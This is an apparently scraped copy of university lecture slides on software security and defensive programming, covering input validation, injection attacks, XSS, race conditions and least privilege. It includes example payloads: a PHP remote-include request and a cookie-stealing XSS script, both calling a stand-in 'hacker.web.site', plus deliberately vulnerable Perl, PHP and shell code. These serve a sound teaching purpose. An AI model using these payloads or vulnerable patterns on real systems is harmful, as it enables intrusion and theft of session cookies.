0% found this document useful (0 votes)
10 views46 pages

Soft Security Lecture

The document discusses software security issues and defensive programming techniques. It covers common software errors like insecure interaction between components and risky resource management. The document emphasizes that security should be considered during design to validate all inputs and handle potential failures.

Uploaded by

Yongho Louis
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
10 views46 pages

Soft Security Lecture

The document discusses software security issues and defensive programming techniques. It covers common software errors like insecure interaction between components and risky resource management. The document emphasizes that security should be considered during design to validate all inputs and handle potential failures.

Uploaded by

Yongho Louis
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 46

CS 356 – Lecture 23 and 24

Software Security

PREPARED BY
YONGHO S. LOUIS
Review
• Chapter 1: Basic Concepts and Terminology
• Chapter 2: Basic Cryptographic Tools
• Chapter 3 – User Authentication
• Chapter 4 – Access Control Lists
• Chapter 5 – Database Security (skipped)
• Chapter 6 – Malicious Software
• Networking Basics (not in book)
• Chapter 7 – Denial of Service
• Chapter 8 – Intrusion Detection
• Chapter 9 – Firewalls and Intrusion Prevention
• Chapter 10 – Buffer Overflow
• Chapter 11 – Software Security
Chapter 11

Software Security
Software Security Issues
• many vulnerabilities
result from poor
programming practices
software error categories:
• consequence from
insufficient checking • insecure interaction between
components
and validation of data
• risky resource management
and error codes • porous defenses
– awareness of these
issues is a critical initial
step in writing more
secure program code


Software Error Category: Insecure Interaction Between Components
Failure to Preserve Web Page Structure ('Cross-site Scripting')
Failure to Preserve SQL Query Structure (aka 'SQL Injection')
Cross-Site Request Forgery (CSRF)
Unrestricted Upload of File with Dangerous Type
Failure to Preserve OS Command Structure (aka 'OS Command Injection')
Information Exposure Through an Error Message
URL Redirection to Untrusted Site ('Open Redirect')
CWE/SANS Race Condition
Software Error Category: Risky Resource Management
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
Top 25 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Improper Control of Filename for Include/Require Statement in PHP Program
('PHP File Inclusion')
Most Buffer Access with Incorrect Length Value
Improper Check for Unusual or Exceptional Conditions
Improper Validation of Array Index
Dangerous Integer Overflow or Wraparound
Incorrect Calculation of Buffer Size
Download of Code Without Integrity Check
Software Allocation of Resources Without Limits or Throttling
Software Error Category: Porous Defenses
Improper Access Control (Authorization)
Errors Reliance on Untrusted Inputs in a Security Decision
Missing Encryption of Sensitive Data
Use of Hard-coded Credentials
Missing Authentication for Critical Function
Incorrect Permission Assignment for Critical Resource
Use of a Broken or Risky Cryptographic Algorithm
Software Security,
Quality and Reliability
• software quality and • software security:
reliability:
– concerned with the – attacker chooses
accidental failure of probability distribution,
program as a result of specifically targeting bugs
some theoretically that result in a failure that
random, unanticipated
input, system interaction, can be exploited by the
or use of incorrect code attacker
– improve using structured – triggered by inputs that
design and testing to
identify and eliminate as differ dramatically from
many bugs as possible what is usually expected
from a program
– unlikely to be identified by
– concern is not how many common testing
bugs, but how often they
are triggered approaches
Defensive Programming
• a form of defensive design to ensure continued
function of software despite unforeseen usage
• requires attention to all aspects of program
execution, environment, and type of data it
processes
• also called secure programming
• assume nothing, check all potential errors
• programmer never assumes a particular function
call or library will work as advertised so handles
it in the code
Computer System

Program
executing algorithm, Network Link
processing input data,
generating output

Abstract GUI Display

Program Keyboard File System

Model & Mouse Other


Programs DBMS

Operating System
Database

Machine Hardware

Figure 12.1 Abstract View of Program


•Figure
11.1
Defensive Programming
– programmers often make
assumptions about the type of
inputs a program will receive and – conflicts with
the environment it executes in business pressures
to keep development
– assumptions need to be times as short as
validated by the program and possible to maximize
market advantage
all potential failures handled
gracefully and safely

– requires a changed mindset to


traditional programming
practices
– programmers have to
understand how failures can
occur and the steps needed to
reduce the chance of them
occurring in their programs
Security by Design
• security and reliability are common design
goals in most engineering disciplines
• software development not as mature
– much higher failure levels tolerated
• despite having a number of software
development and quality standards
– main focus is general development lifecycle
– increasingly identify security as a key goal
Handling Program Input

input is any source


of data from outside
incorrect handling and whose value is
is a very common not explicitly known
failing by the programmer
when the code was
written

explicitly validate
must identify all assumptions on
data sources size and type of
values before use
Input Size & Buffer Overflow
• programmers often make assumptions
about the maximum expected size of input
– allocated buffer size is not confirmed
– resulting in buffer overflow
• testing may not identify vulnerability
– test inputs are unlikely to include large
enough inputs to trigger the overflow
• safe coding treats all input as dangerous
Interpretation of Program Input
• program input may be binary or text
– binary interpretation depends on encoding
and is usually application specific
• there is an increasing variety of character
sets being used
– care is needed to identify just which set is
being used and what characters are being
read
• failure to validate may result in an
exploitable vulnerability
Injection Attacks
• flaws relating to invalid handling of input
data, specifically when program input data
can accidentally or deliberately influence
the flow of execution of the program

most often occur in scripting


languages
• encourage reuse of other programs
and system utilities where possible
to save coding effort
• often used as Web CGI scripts
Unsafe Perl Script
1 #!/usr/bin/perl
2 # finger.cgi - finger CGI script using Perl5 CGI module
3
4 use CGI; <html><head><title>Finger User</title></head><body>
5 use CGI::Carp qw(fatalsToBrowser); <h1>Finger User</h1>
6 $q = new CGI; # create query object <form method=post action="finger.cgi">
7 <b>Username to finger</b>: <input type=text name=user value="">
8 # display HTML header <p><input type=submit value="Finger User">
9 print $q->header, </form></body></html>
10 $q->start_html('Finger User'), (b) Finger form
11 $q->h1('Finger User');
12 print "<pre>";
13
14 # get name of user and display their finger details
15 $user = $q->param("user");
16 print `/usr/bin/finger -sh $user`; Figure 11.2 A Web CGI Injection Attack
17
18 # display HTML footer
19 print "</pre>";
20 print $q->end_html;
(a) Unsafe Perl finger CGI script
Expected and Subverted Finger
CGI Responses

Finger User
Login Name TTY Idle Login Time Where
lpb Lawrie Brown p0 Sat 15:24 ppp41.grapevine

Finger User
attack success
-rwxr-xr-x 1 lpb staff 537 Oct 21 16:19 finger.cgi
-rw-r--r-- 1 lpb staff 251 Oct 21 16:14 finger.html
(c) Expected and subverted finger CGI responses
Safety Extension to Perl Finger CGI
Script

14 # get name of user and display their finger details


15 $user = $q->param("user");
16 die "The specified user contains illegal characters!"
17 unless ($user =~ /^\w+$/);
18 print `/usr/bin/finger -sh $user`;

(d) Safety extension to Perl finger CGI script

• adds a test that ensures user input


contains just alphanumeric characters
– if it doesn’t the script terminates with an error
message specifying the supplied input
contained illegal characters
• user supplied input
is used to construct
a SQL request to
SQL Injection retrieve information
from a database
Attack
• vulnerability is
similar to command
injection
$name = $_REQUEST['name'];
– difference is that
$query = “SELECT * FROM suppliers WHERE name = '" . $name . "';"
$result = mysql_query($query);
SQL
(a) Vulnerable PHP code
metacharacters are
$name = $_REQUEST['name'];
used rather than
$query = “SELECT * FROM suppliers WHERE name = '" .
...........................................................................mysql_real_escape_string($name) . "';"
shell
$result = mysql_query($query); metacharacters
(b) Safer PHP code
– to prevent this type of
Figure 11.3 SQL Injection Example attack the input must be
validated before use
Code Injection Attack
• input includes code that
is then executed by the
attacked system
– PHP remote code
injection vulnerability <?php
include $path . 'functions.php';
– PHP file inclusion include $path . 'data/prefs.php';
vulnerability …

• PHP CGI scripts are (a) Vulnerable PHP code

vulnerable and are being GET /calendar/embed/day.php?path=http://hacker.web.site/hack.txt?&cmd=ls

actively exploited (b) HTTP exploit request

• defenses: Figure 11.4 PHP Code Injection Example


– block assignment of form
field values to global
variables
– only use constant values
in include/require
commands
Cross Site Scripting (XSS)
Attacks

commonly seen in
scripted Web XSS reflection
applications exploit vulnerability
• vulnerability involves assumption that
attacks where the inclusion of script • attacker includes the
all content from malicious script
input provided by code in the HTML
content one site is equally content in data
one user is supplied to a site
subsequently • script code may need trusted and hence
to access data is permitted to
output to another associated with other
interact with other
user pages
• browsers impose content from the
security checks and site
restrict data access to
pages originating from
the same site
• user’s cookie is
XSS supplied to the
attacker who
Example could then use it
to impersonate
Thanks for this information, its great! the user on the
<script>document.location='http://hacker.web.site/cookie.cgi?'+
document.cookie</script> original site
(a) Plain XSS example • to prevent this
Thanks for this information, its great!
&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;
attack any user
&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;
&#46;&#108;&#111;&#99;&#97;&#116;&#105;&#111;
supplied input
&#110;&#61;&#39;&#104;&#116;&#116;&#112;&#58;
&#47;&#47;&#104;&#97;&#99;&#107;&#101;&#114; should be
&#46;&#119;&#101;&#98;&#46;&#115;&#105;&#116;
&#101;&#47;&#99;&#111;&#111;&#107;&#105;&#101; examined and
&#46;&#99;&#103;&#105;&#63;&#39;&#43;&#100;
&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46; any dangerous
&#99;&#111;&#111;&#107;&#105;&#101;&#60;&#47;
&#115;&#99;&#114;&#105;&#112;&#116;&#62; code removed or
(b) Encoded XSS example escaped to block
Figure 11.5 XSS Example
its execution
Validating Input Syntax

it is necessary
to ensure that by only
alternative is
data conform input data accepting
to compare the
with any should be known safe
input data with
assumptions compared data the
known
made about against what is program is
dangerous
the data before wanted more likely to
values
subsequent remain secure
use
Alternate Encodings
growing requirement to
support users around the
may have multiple means
globe and to interact with
of encoding text
them using their own
languages

Unicode used for canonicalization


internationalization • transforming input data into a
• uses 16-bit value for characters single, standard, minimal
representation
• UTF-8 encodes as 1-4 byte
sequences • once this is done the input data
can be compared with a single
• many Unicode decoders accept
representation of acceptable
any valid equivalent sequence
input values
Validating Numeric Input
• additional concern when input data
represents numeric values
• internally stored in fixed sized value
– 8, 16, 32, 64-bit integers
– floating point numbers depend on the processor
used
– values may be signed or unsigned
• must correctly interpret text form and
process consistently
– have issues comparing signed to unsigned
– could be used to thwart buffer overflow check
Input Fuzzing
• developed by Professor Barton Miller at the University of
Wisconsin Madison in 1989
• software testing technique that uses randomly generated data
as inputs to a program
– range of inputs is very large
– intent is to determine if the program or function correctly handles
abnormal inputs
– simple, free of assumptions, cheap
– assists with reliability as well as security
• can also use templates to generate classes of known problem
inputs
– disadvantage is that bugs triggered by other forms of input would
be missed
– combination of approaches is needed for reasonably
comprehensive coverage of the inputs
Writing Safe Program Code
• second component is processing of data by
some algorithm to solve required problem
• high-level languages are typically compiled
and linked into machine code which is then
directly executed by the target processor

security issues:

• correct algorithm implementation


• correct machine instructions for algorithm
• valid manipulation of data
Correct Algorithm Implementation
another variant is when the
initial sequence numbers
programmers deliberately
issue of good program used by many TCP/IP
include additional code in a
development technique implementations are too
program to help test and
predictable
debug it

often code remains in


production release of a
program and could
algorithm may not inappropriately release
correctly handle all information
combination of the
problem variants
sequence number as an
identifier and may permit a user to bypass
authenticator of security checks and perform
packets and the failure actions they would not
to make them otherwise be allowed to
sufficiently perform
consequence of unpredictable enables
deficiency is a bug in the attack to occur
the resulting program this vulnerability was
that could be exploited exploited by the Morris
Internet Worm
Ensuring Machine Language
Corresponds to Algorithm
• issue is ignored by most programmers
– assumption is that the compiler or interpreter
generates or executes code that validly
implements the language statements
• requires comparing machine code with
original source
– slow and difficult
– development of computer systems with very high assurance
level is the one area where this level of checking is required
– specifically Common Criteria assurance level of
EAL 7
Correct Data Interpretation
• data stored as bits/bytes • different languages
in computer provide different
– grouped as words or capabilities for
longwords restricting and validating
– accessed and interpretation of data in
manipulated in memory or variables
copied into processor – strongly typed languages
registers before being are more limited, safer
used – other languages allow
– interpretation depends on more liberal interpretation
machine instruction of data and permit
executed program code to explicitly
change their
interpretation
Correct Use of Memory
• issue of dynamic memory allocation
– used to manipulate unknown amounts of data
– allocated when needed, released when done
• memory leak
– steady reduction in memory available on the heap to
the point where it is completely exhausted
• many older languages have no explicit support
for dynamic memory allocation
– use standard library routines to allocate and release
memory
• modern languages handle automatically
Race Conditions

• without synchronization of accesses it is


possible that values may be corrupted or
changes lost due to overlapping access, use,
and replacement of shared values
• arise when writing concurrent code whose
solution requires the correct selection and use
of appropriate synchronization primitives
• deadlock
– processes or threads wait on a resource held by
the other
– one or more programs has to be terminated
Operating System Interaction
• programs execute on systems under the control of
an operating system
– mediates and shares access to resources
– constructs execution environment
– includes environment variables and arguments
• systems have a concept of multiple users
– resources are owned by a user and have permissions
granting access with various rights to different
categories of users
– programs need access to various resources, however
excessive levels of access are dangerous
– concerns when multiple programs access shared
resources such as a common file
Environment Variables
• collection of string values inherited by each
process from its parent
– can affect the way a running process behaves
– included in memory when it is constructed
• can be modified by the program process at any
time
– modifications will be passed to its children
• another source of untrusted program input
• most common use is by a local user attempting to
gain increased privileges
– goal is to subvert a program that grants superuser or
administrator privileges
Vulnerable Shell Script

#!/bin/bash
user=`echo $1 | sed 's/@.*$//'`
grep $user /var/local/accounts/ipaddrs

(a) Example vulnerable privileged shell script

#!/bin/bash
PATH=”/sbin:/bin:/usr/sbin:/usr/bin”
export PATH
user=`echo $1 | sed 's/@.*$//'`
grep $user /var/local/accounts/ipaddrs

(b) Still vulnerable privileged shell script

Figure 11.6 Vulnerable Shell Scripts


Vulnerable Compiled Programs
• programs can be vulnerable to PATH
variable manipulation
– must reset to “safe” values

• if dynamically linked may be vulnerable


to manipulation of LD_LIBRARY_PATH
– used to locate suitable dynamic library
– must either statically link privileged
programs or prevent use of this variable
Use of Least Privilege
privilege escalation
• exploit of flaws may give attacker greater privileges

least privilege
• run programs with least privilege needed to complete their
function

determine appropriate user and group


privileges required
• decide whether to grant extra user or just group privileges

ensure that privileged program can modify only


those files and directories necessary
Root/Administrator Privileges
• programs with root / administrator privileges are a major target
of attackers
– they provide highest levels of system access and control
– are needed to manage access to protected system resources
• often privilege is only needed at start
– can then run as normal user
• good design partitions complex programs in smaller modules
with needed privileges
– provides a greater degree of isolation between the components
– reduces the consequences of a security breach in one
component
– easier to test and verify
System Calls and
Standard Library Functions
• programs use system calls and standard
library functions for common operations
– programmers make assumptions about their operation
– if incorrect behavior is not what is expected
– may be a result of system optimizing access
to shared resources
– results in requests for services being buffered,
resequenced, or otherwise modified to
optimize system use
– optimizations can conflict with program goals
Secure File Shredder
patterns = [10101010, 01010101, 11001100, 00110011, 00000000, 11111111, …
]
open file for writing
for each pattern
seek to start of file
overwrite file contents with pattern
close file
remove file

(a) Initial secure file shredding program algorithm

patterns = [10101010, 01010101, 11001100, 00110011, 00000000, 11111111, …


]
open file for update
for each pattern
seek to start of file
overwrite file contents with pattern
flush application write buffers
sync file system write buffers with device
close file
remove file

(b) Better secure file shredding program algorithm

Figure 11.7 Example Global Data Overflow Attack


Preventing Race Conditions
• programs may need to access a common system
resource
• need suitable synchronization mechanisms
– most common technique is to acquire a lock on the
shared file
• lockfile
– process must create and own the lockfile in order to
gain access to the shared resource
– concerns
• if a program chooses to ignore the existence of the lockfile and
access the shared resource the system will not prevent this
• all programs using this form of synchronization must cooperate
• implementation
Perl File Locking Example
#!/usr/bin/perl
#
$EXCL_LOCK = 2;
$UNLOCK = 8;
$FILENAME = “forminfo.dat”;

# open data file and acquire exclusive access lock


open (FILE, ">> $FILENAME") || die "Failed to open $FILENAME \n";
flock FILE, $EXCL_LOCK;
… use exclusive access to the forminfo file to save details
# unlock and close file
flock FILE, $UNLOCK;
close(FILE);

Figure 11.8 Perl File Locking Example


Safe Temporary Files
• many programs use temporary files
• often in common, shared system area
• must be unique, not accessed by others
• commonly create name using process ID
– unique, but predictable
– attacker might guess and attempt to create
own file between program checking and
creating
• secure temporary file creation and use
requires the use of random names
Temporary File Creation
Example

char *filename;
int fd;
do {
filename = tempnam (NULL, "foo");
fd = open (filename, O_CREAT | O_EXCL | O_TRUNC | O_RDWR, 0600);
free (filename);
} while (fd == −1);

Figure 11.9 C Temporary File Creation Example


Other Program Interaction
• programs may use functionality and services
of other programs
– security vulnerabilities can result unless care is
taken with this interaction
• such issues are of particular concern when the program
being used did not adequately identify all the security
concerns that might arise
• occurs with the current trend of providing Web
interfaces to programs
• burden falls on the newer programs to identify and
manage any security issues that may arise
• issue of data confidentiality / integrity
• detection and handling of exceptions and
errors generated by interaction is also
important from a security perspective
Handling Program Output
• final component is program output
– may be stored for future use, sent over net, displayed
– may be binary or text
• important from a program security perspective
that the output conform to the expected form and
interpretation
• programs must identify what is permissible output
content and filter any possibly untrusted data to
ensure that only valid output is displayed
• character set should be specified
Summary
• writing safe program code
• software security issues
– correct algorithm implementation
• defensive/secure programming
– ensuring machine language
• handling program input
corresponds to algorithm
• key concern for input:
– correct interpretation of data
– size /interpretation values
– injection attack – correct use of memory
– command /SQL /code
– preventing race conditions
– cross-site scripting attacks
• interacting with the operating
– XSS reflection
system and other programs
– validating input syntax
– environment variables
– input fuzzing
– least privileges
– handling program output – safe temporary file use
– preventing race conditions

You might also like